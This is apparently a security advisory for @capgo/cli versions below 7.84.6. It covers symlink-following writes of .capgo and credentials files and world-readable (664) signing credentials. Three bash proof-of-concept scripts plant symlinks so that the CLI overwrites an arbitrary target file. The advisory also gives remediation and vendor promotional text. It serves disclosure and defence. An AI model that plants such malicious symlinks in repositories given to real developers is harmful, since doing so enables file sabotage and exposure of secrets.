GHSA-8MPM-Q7MH-8FVH

GHSA-8MPM-Q7MH-8FVH is a high-severity security vulnerability in @capgo/cli (npm), affecting versions < 7.84.6. It is fixed in 7.84.6.

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Summary

Capgo CLI: symlink-following local secret writes enable arbitrary file overwrite + world-readable credentials (0600 missing)

The Capgo CLI writes sensitive local files (.capgo API key file and build credentials JSON) using unsafe file operations that follow symlinks and do not enforce safe permissions. This allows an attacker-controlled repository to cause arbitrary file overwrite on the developer’s machine when the developer runs the CLI inside that repo. Additionally, global build credentials are written with world-readable permissions (664), exposing signing materials on shared systems.

Details

Issue 1 - Arbitrary file overwrite via .capgo symlink (login --local)

  • Location: src/login.ts
  • Behavior: loginInternal(..., { local: true }) performs writeFileSync('.capgo', ...) before validating the API key with verifyUser().
  • No checks are performed to prevent writing through a symlink.
  • Result: if .capgo is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled content (the provided API key string), even when login fails.

Issue 2 - Arbitrary file overwrite via .capgo-credentials.json symlink (build credentials save --local)

  • Location: src/build/credentials.ts (local path is join(cwd(), '.capgo-credentials.json'))
  • Behavior: credentials are written using writeFile() without checking whether the destination is a symlink.
  • Result: if .capgo-credentials.json is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled JSON (including base64-encoded credential material). This occurs even if the user is not logged in / no API key exists.

Issue 3 - Insecure default permissions for global credentials

  • Location: src/build/credentials.ts (global path $HOME/.capgo-credentials/credentials.json)
  • Observed permissions after save: -rw-rw-r-- (664)
  • Impact: credentials file contains sensitive signing material (e.g., Android keystore + Play config; iOS cert/profile/API key in other flows). World/group readability is unsafe on shared hosts and CI runners. Expected minimum: file 0600, directory 0700.

PoC

PoC A: .capgo symlink clobber (writes even when API key invalid)

set -euo pipefail
BASE="/tmp/capgo_cli_poc_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered.txt"

mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q

ln -s "$TARGET" .capgo

# This should fail auth, but still overwrites TARGET
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] login "INVALID_KEY_SHOULD_FAIL" --local || true

echo "== TARGET content =="
cat "$TARGET"

Expected: On invalid key, nothing is written; .capgo should never follow symlinks.
Observed: TARGET contains INVALID_KEY_SHOULD_FAIL.

PoC B: .capgo-credentials.json symlink clobber (no login required)

set -euo pipefail
BASE="/tmp/capgo_creds_symlink_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered_creds.txt"

mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q

ln -s "$TARGET" .capgo-credentials.json

HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
  --local --platform android --appId com.example.app \
  --keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true

echo "== TARGET exists and contains JSON written via symlink =="
ls -la "$TARGET" || true
cat "$TARGET" || true

Expected: Refuse to write if destination is symlink; ideally require safe location and permissions.
Observed: TARGET is created/overwritten with credentials JSON.

PoC C: global credentials permissions are world-readable

set -euo pipefail
BASE="/tmp/capgo_creds_perm_$(date +%s)"
HOME_SANDBOX="$BASE/home"
mkdir -p "$HOME_SANDBOX"

HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
  --platform android --appId com.example.app \
  --keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true

CREDS="$HOME_SANDBOX/.capgo-credentials/credentials.json"
ls -la "$CREDS" || true
stat -c '%a %U:%G %n' "$CREDS" || true

Observed: credentials.json created with mode 664 (-rw-rw-r--).

Suggested remediation

  • Do not write .capgo until after API key validation succeeds.
  • For all secret/config writes:

refuse symlink destinations (lstat + isSymbolicLink)
use safe file creation and enforce permissions (0600 for files; 0700 for directories)
write atomically (temp file + rename) after safety checks

  • Avoid blindly appending to .gitignore unless it is a regular file (also check for symlink).

Impact

  • Arbitrary file overwrite (clobber) as the user running the CLI (developer workstation / CI runner).
  • This can cause:

developer environment compromise or sabotage (overwriting config files, scripts, env files)
accidental or malicious leakage/destruction of secrets

  • Local secret exposure: global credentials written as 664 allows other local users to read signing material on shared machines.
  • A realistic scenario: a developer runs npx @capgo/cli ... --local inside an untrusted repo/template; the repo contains malicious symlinks.

Affected versions

@capgo/cli (< 7.84.6)

Security releases

@capgo/cli → 7.84.6 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Upgrade @capgo/cli to 7.84.6 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-8MPM-Q7MH-8FVH? GHSA-8MPM-Q7MH-8FVH is a high-severity security vulnerability in @capgo/cli (npm), affecting versions < 7.84.6. It is fixed in 7.84.6.
  2. Which versions of @capgo/cli are affected by GHSA-8MPM-Q7MH-8FVH? @capgo/cli (npm) versions < 7.84.6 is affected.
  3. Is there a fix for GHSA-8MPM-Q7MH-8FVH? Yes. GHSA-8MPM-Q7MH-8FVH is fixed in 7.84.6. Upgrade to this version or later.
  4. Is GHSA-8MPM-Q7MH-8FVH exploitable, and should I be worried? Whether GHSA-8MPM-Q7MH-8FVH is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-8MPM-Q7MH-8FVH is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-8MPM-Q7MH-8FVH? Upgrade @capgo/cli to 7.84.6 or later.

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